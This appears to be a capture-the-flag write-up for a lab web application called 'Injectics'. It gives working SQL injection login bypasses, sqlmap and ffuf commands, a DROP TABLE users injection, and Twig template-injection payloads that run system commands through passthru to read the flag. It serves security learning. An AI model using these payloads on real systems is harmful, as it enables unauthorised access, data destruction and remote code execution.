Injectics

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Initial enumeration

Zed Attack Proxy (ZAP)

From ZAP, I found the hidden directory composer.lock. I found out the application uses Twig v2.14.0:

Basic fuzzing:

In an attempt to discover more directories, I decided to perform a directory discovery using gobuster. I included common extensions such as .php, .lock and .json.

$ gobuster dir -u http://<target> -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x php,json,lock

Interesting file found: composer.json . The content of the file confirms the presence of Twig:

Source code review

I found the following comments at the bottom of the source code of the / page:

After navigating to the mail.log file, I found the following note:

From: dev@injectics.thm
To: superadmin@injectics.thm
Subject: Update before holidays

Hey,

Before heading off on holidays, I wanted to update you on the latest changes to the website. I have implemented several enhancements and enabled a special service called Injectics. This service continuously monitors the database to ensure it remains in a stable state.

To add an extra layer of safety, I have configured the service to automatically insert default credentials into the `users` table if it is ever deleted or becomes corrupted. This ensures that we always have a way to access the system and perform necessary maintenance. I have scheduled the service to run every minute.

Here are the default credentials that will be added:

| Email                     | Password 	              |
|---------------------------|-------------------------|
| superadmin@injectics.thm  | superSecurePasswd101    |
| dev@injectics.thm         | devPasswd123            |

Please let me know if there are any further updates or changes needed.

Best regards,
Dev Team

dev@injectics.thm

From this note, we can understand that default credentials will be added to the users table in the event that it gets corrupted or deleted. Hmm, this seems to give us a hint that we need to somehow alter or drop this table.

Exploring the application

(1) Normal user login

Using the GUI to test the payload ' returns an error message. Looking at the sources, I found a file script.js that works to block a few keywords. Thus, I used Burp suite to send the API request directly to the server instead.

script.js:

$("#login-form").on("submit", function(e) {
    e.preventDefault();
    var username = $("#email").val();
    var password = $("#pwd").val();

	const invalidKeywords = ['or', 'and', 'union', 'select', '"', "'"];
            for (let keyword of invalidKeywords) {
                if (username.includes(keyword)) {
                    alert('Invalid keywords detected');
                   return false;
                }
            }

    $.ajax({
        url: 'functions.php',
        type: 'POST',
        data: {
            username: username,
            password: password,
            function: "login"
        },
        dataType: 'json',
        success: function(data) {
            if (data.status == "success") {
                if (data.auth_type == 0){
                    window.location = 'dashboard.php';
                }else{
                    window.location = 'dashboard.php';
                }
            } else {
                $("#messagess").html('<div class="alert alert-danger" role="alert">' + data.message + '</div>');
            }
        }
    });
});

POST /functions.php HTTP/1.1

Host: ...
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 57
Origin: http://...
Connection: keep-alive
Referer: http://10.10.244.88/login.php?mail=t&pass=t
Cookie: PHPSESSID=oqttvasr6crs86ila4mi3kbjf6
Priority: u=0

username=1&password=1&function=login

Possible SQL query:

SELECT * FROM table WHERE username = x AND password = x

Injection to username POST field:

'||1=1;-- //there is an explicit space right after the comment (--)
||1=1;-- - //clearer

  • This works with space in between the items too: 

' || 1=1;-- -

' || 1=1; -- 

SELECT * FROM table WHERE username = ''||1=1'-- AND password = '1'

Further learning

  • To explore what other injection methods can be used, I utilized Sqlmap:

login.txt contains the HTTP POST request from above

$ sqlmap -r login.txt --risk=3 --level=5

I found that the following payload to the username field works too:

' RLIKE SLEEP(3) -- // explicit space after the comment (--) 
' RLIKE SLEEP(3) -- - // clearer

Further testing

Utilizing ffuf:

Note: In MySQL, # is a comment

Wordlist from https://github.com/payloadbox/sql-injection-payload-list/blob/master/Intruder/exploit/Auth_Bypass.txt

$ ffuf -u http://<target>functions.php -w auth_wordlist.txt -X POST -d "username=FUZZ&password=1&function=login" -H "Content-Type: application/x-www-form-urlencoded"

There should be some output(s) that returns a larger response size than the rest. The -fs flag can be used to filter this.

Found payload:

' OR 'x'='x'#  
' OR 'x'='x';-- - // manually tested
LogoGitHub - payloadbox/sql-injection-payload-list: 🎯 SQL Injection Payload ListGitHub

(2) Edit leader board

After the successful injection on the login form, we are able to view the dashboard page, which presents us with a method to edit the leader board table:

POST /edit_leaderboard.php HTTP/1.1
Host: 10.10.244.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Origin: http://10.10.175.148
Connection: keep-alive
Referer: http://10.10.175.148/edit_leaderboard.php?rank=1&country=USA
Cookie: PHPSESSID=4rtpdvbsmkvqquno4am9ij5h6q
Upgrade-Insecure-Requests: 1
Priority: u=0, i

rank=1&country=1&gold=1&silver=1&bronze=1

Possible SQL query:

UPDATE table SET gold = x, silver = x, bronze = x WHERE rank = x;

Injection 1

Injection to the gold field:

22, silver = 22, bronze = 22;-- // explicit space after comment (--)
22, silver = 22, bronze = 22;-- - // clearer
UPDATE table SET gold = 22, silver = 22, bronze = 22;--, silver = x, bronze = x WHERE id = 'x';;

  • This action will update the gold, silver and bronze field to 22 for every country. With that, we know that the SQL injection worked!

Injection 2

Now that we have confirmed that we can perform an SQL injection attack, we can attempt to drop the user table again.

1 WHERE 1=1; DROP TABLE users;-- 
UPDATE table SET gold = 1 WHERE 1=1; DROP TABLE users;-- , bronze = x WHERE id = x;, silver = x, bronze = x WHERE id = x;

When we navigate back to the GUI, we are presented with a note that the database is down.Success!

SSTI injection on the admin profile page

The following displays the request to update the admin profile page (Burp suite):

POST /update_profile.php HTTP/1.1
Host: 10.10.82.58
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Origin: http://10.10.124.140
Connection: keep-alive
Referer: http://10.10.124.140/update_profile.php
Cookie: PHPSESSID=ce44rfksrc4ecbo5pkfgrje229
Upgrade-Insecure-Requests: 1
Priority: u=0, i

email=superadmin%40injectics.thm&fname=t&lname=t

Upon updating the fname field, it appears that the value is reflected on the profile page.

Twig SSTI injection

Identifying vulnerability to SSTI

Using the simple test value of {{7*7}} shows the value 49 displayed. This shows that the application is vulnerable.

From the composer.json file, we know that the application uses Twig as the server-side template engine.

I tried a few payloads I have found from multiple sources (refer to references below):

CVE-2022-39261

I found a CVE related to Twig v2.14.0.

LogoPossibility to load a template outside a configured directory when using the filesystem loaderGitHub
{{ include('@null/index.php') }}
{% include('@null/index.php') %}
{{ source('@null/index.php') }}

File read

{{['cat index.php']|map('system')|join}} 
"{{'index.php'|file_excerpt(1,30)}}"@

Code execution

{{['id']|map('shell')|join}}
{{['id']|map('system')|join}}
{{['id']|map('passthru')|join}}
{{['id']|map('shell')}}
{{['id']|map('system')}}
{{['id']|map('passthru')}}

{{['id']|filter('shell')}} 
{{['id']|filter('system')}} 
{{['id']|filter('passthru')}} 

{{['id',""]|sort('shell')}} 
{{['id',""]|sort('system')}} 
{{['id',""]|sort('passthru')}}

The payloads above doesn't seem to work. Finally, I found a working payload after a few iterations:

{{['id',""]|sort('passthru')}}

Retrieving the flag:

{{['ls /flags',""]|sort('passthru')}} 
{{['cat /flags/xxxx.txt',""]|sort('passthru')}}
LogoSSTI (Server Side Template Injection) - HackTricks
LogoPayloadsAllTheThings/Server Side Template Injection/PHP.md at master · swisskyrepo/PayloadsAllTheThingsGitHub
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